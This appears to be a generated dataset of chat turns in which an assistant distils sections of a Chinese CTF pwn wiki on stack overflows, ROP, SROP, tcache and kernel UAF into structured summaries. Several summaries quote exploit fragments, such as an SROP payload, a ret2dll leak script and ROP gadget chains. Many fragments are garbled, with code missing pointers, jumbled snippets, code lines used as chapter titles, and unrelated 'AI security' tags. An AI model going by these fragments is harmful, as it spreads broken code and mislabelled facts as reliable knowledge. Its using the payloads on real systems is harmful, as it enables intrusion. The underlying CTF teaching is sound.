[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md` 中的章节「基本栈介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md`
标题：栈介绍
章节：栈介绍 > 基本栈介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本栈介绍”展开。
- 文件: ./figure/Data_stack.png] 高级语言在运行时都会被转换为汇编程序，在汇编程序运行过程中，充分利用了这一数据结构。
- 栈是一种典型的后进先出( Last in First Out )的数据结构，其操作主要有压栈(push)与出栈(pop)两种操作，如下图所示（维基百科）。
- 需要注意的是，程序的栈是从进程地址空间的高地址向低地址增长的。
- 每个程序在运行时都有虚拟地址空间，其中某一部分就是该程序对应的栈，用于保存函数调用信息和局部变量。

关键术语：
- 边界/溢出
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本栈介绍

边界/溢出 栈 漏洞利用 pwn linux user-mode stackoverflow

栈介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`
标题：在内存中直接搜索 flag
章节：在内存中直接搜索 flag > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } int main(int argc, char argv, char envp) { struct user_desc desc;
- if (dev_fd < 0) { err_exit("FAILED to open the /dev/rwctf file!
- void err_exit(char msg) { printf("[x] %s \n", msg);
- } void alloc(uint32_t idx, uint32_t size, void buf) { struct node n = { .idx = idx, .size = size, .buf = buf, };
- } void del(uint32_t idx) { struct node n = { .idx = idx, };

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 153 行，首行 `#define _GNU_SOURCE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

在内存中直接搜索 flag
例题：RWCTF2023体验赛 - Digging into kernel 3
EXPLOIT

AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

在内存中直接搜索 flag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「基础知识」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“基础知识”展开。
- 文件: https://s2.loli.net/2025/02/01/o9DzrNqSvLxIfdR.png] 本篇博客我们主要介绍 64 位 Windows NT kernel 的基本运行原理以及一些基本组件，主要以 Windows 10 作为案例进行讲解， _不会涉及与 32 位相关的内容_ 。
- > 关于 Windows 内核一些结构体的定义可以参见 这个网站
- > 如果你对操作系统基本理论并不熟悉，那笔者其实更推荐 从 Linux kernel 这一个开源宏内核进行入门，本文基本不会涉及操作系统基础概念。
- Windows 操作系统全称为新技术视窗（Windows New Technology，简称 Windows NT），其 _曾经_ 声称采用的是微内核架构（micro kernel），即大部分系统组件都以用户态形式存在，仅有部分必要组件以内核态形式存在，但实际上现在 Windows 往内核态塞了不少东西，所以现在的 NT kernel 更偏向于 _混合内核_ （hybrid kernel）。

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基础知识

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「the frame is read(0,stack_addr,0x400)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`
标题：SROP
章节：SROP > the frame is read(0,stack_addr,0x400)
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“the frame is read(0,stack_addr,0x400)”展开。
- sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'a' * 8 + str(sigframe) sh.send(payload)

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

the frame is read(0,stack_addr,0x400)

SROP
the frame is read(0,stack_addr,0x400)

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

SROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「control rdx」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 攻击原理 > Blind ROP > 基本思路 > control rdx
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“control rdx”展开。
- 这里需要说明执行strcmp的时候，rdx会被设置为将要被比较的字符串的长度，所以我们可以找到strcmp函数，从而来控制rdx。
- 那么接下来的问题，我们就可以分为两项 - 寻找gadgets - 寻找PLT表 - write入口 - strcmp入口
- 需要注意的是，rdx只是我们用来输出程序字节长度的变量，只要不为0即可。
- 但是为了更好地控制程序输出，我们仍然尽量可以控制这个值。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:asm

代码/命令片段线索：
- asm: 1 行，首行 `pop rdx; ret`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

control rdx

中级ROP
BROP
攻击原理
Blind ROP
基本思路
control rdx

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:asm

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- 由于题目所在的 kmem_cache 为一个独立的 kmem_cache ，因此我们只能考虑 cross-cache overflow：溢出到其他结构体所在页面上完成利用。
- > 毕竟我们很难指望在 freelist 相关保护都开启的情况下 free object 的 next 指针刚好在前 8 字节然后覆写又刚好能把 freelist 劫持到有效可控地址上。

关键术语：
- UAF
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用

UAF 边界/溢出 堆 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_get()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64 > 源码分析 > tcache_get()
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 看一下 tcache_get() source code ``C / Caller must ensure that we know tc_idx is valid and there's available chunks to remove. / static __always_inline void tcache_get (size_t tc_idx) { tcache_entry e = tcache->entries[tc_idx];
- 可以看出这个过程还是很简单的，从 tcache->entries[tc_idx] 中获得第一个 chunk，tcache->counts` 减一，几乎没有任何保护。
- // 获得一个 chunk，counts 减一 return (void *) e;
- assert (tc_idx < TCACHE_MAX_BINS);
- assert (tcache->entries[tc_idx] > 0);
- (tcache->counts[tc_idx]);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- C: 12 行，首行 `/* Caller must ensure that we know tc_idx is valid and there's`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache_get()

define TCACHE_MAX_BINS 64
源码分析
tcache_get()

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache dup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache dup
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“tcache dup”展开。
- — push r15 RIP 0x555555554808 (main+174) ?
- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x555555756260 ?
- 20 } ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —?
- 0x7ffff7a3fa87 (__libc_start_main+231) ?
- — 0x1a00000000 R10 0x911 R11 0x7ffff7aa0ba0 (free) ?

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 2 行，首行 `tcache 的第一条链放入了一个 chunk`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache dup

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
tcache dup

tcache makes heap exploitation easy again


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache UAF attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > tcache UAF attack
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“tcache UAF attack”展开。
- 接下来，由于 B 块已经是 free 状态，但是又有指针指向，所以我们只需要再次分配，使得有两个指针指向 B 块，之后在 tcache 空间足够时，利用 tcache 进行 double free ，进而通过 UAF 攻击 free hook 即可。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 14 行，首行 `# step 4: constrecvuntilct UAF, write into __free_hook`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache UAF attack

define TCACHE_FILL_COUNT 7
0x05 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
利用步骤
tcache UAF attack

UAF 堆 漏洞利用 pwn linux user-mode heap code:python


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「context.log_level = 'debug'」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`
标题：mips - ROP
章节：context.log_level = 'debug'
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“context.log_level = 'debug'”展开。
- libc_base = 0x7f61f000 set_a0_addr = 0xE2660 #.text:000E2660 move $t9, $s2 #.text:000E2664 jalr $t9 ;
- sigprocmask #.text:000E2668 li $a0, 1 set_s2_addr = 0xB2EE8 #.text:000B2EE8 lw $ra, 52($sp) #.text:000B2EF0 lw $s6, 48($sp) #.text:000B2EF4 lw $s5, 44($sp) #.text:000B2EF8 lw $s4, 40($sp) #.text:000B2EFC lw $s3, 36($sp) #.text:000B2F00 lw $s2, 32($sp) #.tex...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

context.log_level = 'debug'

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

mips - ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/System.map.md` 中的章节「在ida中为stripped的vmlinux添加System.map」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/System.map.md`
标题：System.map
章节：System.map > 在ida中为stripped的vmlinux添加System.map
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“在ida中为stripped的vmlinux添加System.map”展开。
- 文件: figure/System.map-load-diff.png]

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- environment
- code:python

代码/命令片段线索：
- python: 19 行，首行 `def load_system_map(file_path):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

在ida中为stripped的vmlinux添加System.map

AI安全 pwn linux kernel-mode environment code:python

System.map


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/user-mode/stackoverflow/ret2dll.md` 中的章节「搭建临时环境」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/user-mode/stackoverflow/ret2dll.md`
标题：ret2dll利用
章节：ret2dll利用 > 搭建临时环境
路径分类：pwn / pwn/windows/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“搭建临时环境”展开。
- 使用ncat ncat -l 8080 --keep-open --exec ".\ret2dll.exe"
- 使用win_server win_server ./ret2dll.exe 8080
- context.log_level='debug' context.arch='amd64' p=remote("192.168.0.190",8080)#这里替换为windows的ip main_addr=0x14000155B#手动输入地址 ret_addr=0x1400015D7 puts_plt=0x140002868 puts_got=0x14000829C rdi_addr=0x140002447 rcx_addr=0x140002750 #bp 0x140001554
- payload = b'a' * (0x10 +8) payload += p64(rcx_addr) payload += p64(puts_got) payload += p64(puts_plt)
- payload += p64(main_addr) p.recvuntil("start") p.sendline(payload) puts_leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))

关键术语：
- 边界/溢出
- 栈
- AI安全
- 漏洞利用
- pwn
- windows
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

搭建临时环境

边界/溢出 栈 AI安全 漏洞利用 pwn windows user-mode stackoverflow

ret2dll利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「SSDT 基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 系统调用 > 二、系统服务描述符表 > SSDT 基本结构
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“SSDT 基本结构”展开。
- 存储栈上参数数量，NT kernel 很多系统调用参数都远大于 6 个，因此需要使用栈进行传参，此时这 4 bit 便用于记录不同系统调用使用栈进行传递的参数数量。
- ` SYSTEM_SERVICE_TABLE 结构体定义如下，其中的 ServiceTable 成员为实质上的系统调用表： `c typedef struct tag_SYSTEM_SERVICE_TABLE { PULONG ServiceTable;
- // KeServiceDescriptorTable 只有这张表 SYSTEM_SERVICE_TABLE win32k;
- // KeServiceDescriptorTableShadow 额外多用一个这张表 SYSTEM_SERVICE_TABLE sst3;
- SYSTEM_SERVICE_TABLE sst4;

关键术语：
- 栈
- 漏洞利用
- pwn
- windows
- kernel-mode
- basic-knowledge
- code:c

代码/命令片段线索：
- c: 6 行，首行 `typedef struct tag_SERVICE_DESCRIPTOR_TABLE {`
- c: 6 行，首行 `typedef struct tag_SYSTEM_SERVICE_TABLE {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

SSDT 基本结构

基础知识
系统调用
二、系统服务描述符表
SSDT 基本结构

栈 漏洞利用 pwn windows kernel-mode basic-knowledge code:c

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「第一步」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`
标题：House of Roman
章节：House of Roman > 原理以及展示 > 第一步
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“第一步”展开。
- 紧接着我们利用 partial overwrite 将 FD 指向伪造的chunk（当然，这里我们也可以用 UAF 完成）。
- 首先伪造一个 chunk ，chunk的大小为0x61。

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:bash

代码/命令片段线索：
- bash: 6 行，首行 `pwndbg>`
- plain: 8 行，首行 `0x555555757020 PREV_INUSE {`
- plain: 9 行，首行 `pwndbg> x/40ag 0x555555757020`
- plain: 21 行，首行 `pwndbg> x/40ag 0x555555757000`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

第一步

UAF 堆 AI安全 漏洞利用 pwn linux user-mode heap code:bash

House of Roman


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「新版本内核对抗利用 pt\_regs 进行攻击的办法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`
标题：利用 pt\_regs 构造通用内核 ROP
章节：利用 pt\_regs 构造通用内核 ROP > 新版本内核对抗利用 pt\_regs 进行攻击的办法
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“新版本内核对抗利用 pt\_regs 进行攻击的办法”展开。
- `` 当然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成利用，不过稳定性也大幅下降了。
- nr = syscall_enter_from_user_mode(regs, nr);
- instrumentation_begin();

关键术语：
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:diff

代码/命令片段线索：
- diff: 11 行，首行 `diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

新版本内核对抗利用 pt\_regs 进行攻击的办法

利用 pt\_regs 构造通用内核 ROP
新版本内核对抗利用 pt\_regs 进行攻击的办法

栈 ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:diff

利用 pt\_regs 构造通用内核 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`
标题：Cross-Cache UAF
章节：Cross-Cache UAF > 例题： kbook > 漏洞利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/2

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!
- i++) { if (pipe(pipe_fd[i]) < 0) { printf("[x] FAILED to create %d pipe!
- i++) { if (fcntl(pipe_fd[i][0], F_SETPIPE_SZ, 0x1000 4) < 0) { perror("failed to reset pipe_size");
- if (bookshelf[i] < 0) { perror("failed to open /dev/kbook");
- } if (choose_book(bookshelf[i], i) < 0) { err_exit("FAILED at binding the book with fd!

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Cross-Cache UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 4」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake write relocation entry > stage 4
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stage 4”展开。
- ``shell ❯ readelf -x .dynsym main_partial_relro_32 Hex dump of section '.dynsym': 0x080481cc 00000000 00000000 00000000 00000000 ................
- ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!
- 首先，我们根据 write 的重定位表项的 r_info=0x607 可以知道，write 对应的符号在符号表的下标为 0x607>>8=0x6。
- ` 这里给出的其实是小端模式，因此我们需要手工转换。
- 在 stage3 中，我们控制了重定位表项，但是伪造的重定位表项的内容仍然与 write 函数原来的重定位表项一致。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:shell

代码/命令片段线索：
- shell: 12 行，首行 `❯ readelf -x .dynsym main_partial_relro_32`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stage 4

construct fake write relocation entry
stage 4

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:shell

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：DEBUG("b *0x4006B9\nc") > Stack smash > 32C3 CTF readme > 确定保护
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定保护”展开。
- ``shell ➜ stacksmashes git:(master) ✗ checksec smashes Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled ``
- 可以看出程序为 64 位，主要开启了 Canary 保护以及 NX 保护，以及 FORTIFY 保护。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:shell

代码/命令片段线索：
- shell: 7 行，首行 `➜ stacksmashes git:(master) ✗ checksec smashes`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定保护

DEBUG("b *0x4006B9\nc")
Stack smash
32C3 CTF readme
确定保护

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:shell

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`
标题：mips - ROP
章节：p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])”展开。
- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20201028031120.png] > 查找使用的 gadget 完成 ret2shellcode 由于程序没有开启 PIE 等 保护，所以我们可以直接在栈上注入 shellcode，然后控制 PC跳转到栈上 找 gadget 我们可以使用 mipsrop.py 这个 ida 插件进行。
- 由于 mips 流水指令集的特点，存在 cache incoherency 的特性，需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode。
- pause() p.interactive() ``` 如下图所示，即可控制 ra 寄存器，进而控制 PC [图片: image-20201028031118603;
